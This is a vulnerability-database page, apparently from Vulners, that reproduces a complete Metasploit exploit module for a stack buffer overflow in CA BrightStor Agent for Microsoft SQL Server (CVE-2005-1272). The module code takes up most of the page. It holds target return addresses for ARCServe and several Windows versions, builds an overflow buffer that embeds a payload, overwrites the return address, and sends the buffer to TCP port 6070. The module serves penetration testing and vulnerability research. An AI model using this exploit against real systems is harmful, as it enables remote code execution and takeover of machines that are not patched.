Lucene search
+L

CA BrightStor Agent for Microsoft SQL Overflow

🗓️ 02 Aug 2005 00:00:00Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

CA BrightStor Agent for Microsoft SQL Overflow exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
        'Description' => %q{
          This module exploits a vulnerability in the CA BrightStor
          Agent for Microsoft SQL Server. This vulnerability was
          discovered by cybertronic[at]gmx.net.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-1272'],
          [ 'OSVDB', '18501' ],
          [ 'BID', '14453'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
          [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          # This exploit requires a jmp esp for return
          ['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
          ['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
          ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret

          # Generic jmp esp's
          ['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
          ['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
          ['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
          ['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
          ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
          ['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
        ],
        'DisclosureDate' => '2005-08-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(6070)
      ]
    )
  end

  def exploit
    print_status("Trying target #{target.name}...")

    # The 'one line' request does not work against Windows 2003
    1.upto(5) do |_i|
      # Flush some memory
      connect
      begin
        sock.put("\xff" * 0x12000)
        sock.get_once
      rescue StandardError
      end
      disconnect

      # 3288 bytes max
      #  696 == good data (1228 bytes contiguous) @ 0293f5e0
      # 3168 == return address
      # 3172 == esp @ 0293ff8c (2476 from good data)

      buf = rand_text_english(3288, payload_badchars)
      buf[696, payload.encoded.length] = payload.encoded
      buf[3168, 4] = [target.ret].pack('V')  # jmp esp
      buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476

      connect
      begin
        sock.put(buf)
        sock.get_once
      rescue StandardError
      end

      handler
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2005 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 27.5
EPSS0.66121
40